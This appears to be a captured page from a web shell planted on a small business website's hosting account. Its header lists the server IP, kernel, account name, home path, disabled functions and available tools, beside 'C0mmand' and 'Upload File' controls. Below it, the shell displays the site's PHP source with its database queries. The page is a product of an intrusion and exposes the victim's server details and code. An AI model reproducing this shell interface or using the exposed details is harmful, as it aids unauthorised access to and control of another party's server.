Server IP : 103.53.40.154 / Your IP : 18.191.165.149 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/bhatiataxiservice.in/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include_once "admin/config.php"; // general $sql1 = "SELECT * FROM `tbl_general`"; $run1 = mysqli_query($db,$sql1) or die("Query Not run"); $data1 = mysqli_fetch_assoc($run1); // seo $sqll = "SELECT * FROM `tbl_seo` WHERE se_id=1"; $runl = mysqli_query($db,$sqll) or die("Query Not run"); $datal = mysqli_fetch_assoc($runl); $wspath=$datal['site_path']; // home page $sqlhome = "SELECT * FROM `tbl_site_pages` WHERE site_pages_link='index'"; $runhome = mysqli_query($db,$sqlhome) or die("Query Not run"); $datahome = mysqli_fetch_assoc($runhome); // about page $sqlabout = "SELECT * FROM `tbl_site_pages` WHERE site_pages_link='about-us'"; $runabout = mysqli_query($db,$sqlabout) or die("Query Not run"); $dataabout = mysqli_fetch_assoc($runabout); // contact page $sqlcontact = "SELECT * FROM `tbl_site_pages` WHERE site_pages_link='contact-us'"; $runcontact = mysqli_query($db,$sqlcontact) or die("Query Not run"); $datacontact = mysqli_fetch_assoc($runcontact); // canonical $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https://' : 'http://'; $canonical = $protocol . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; ?>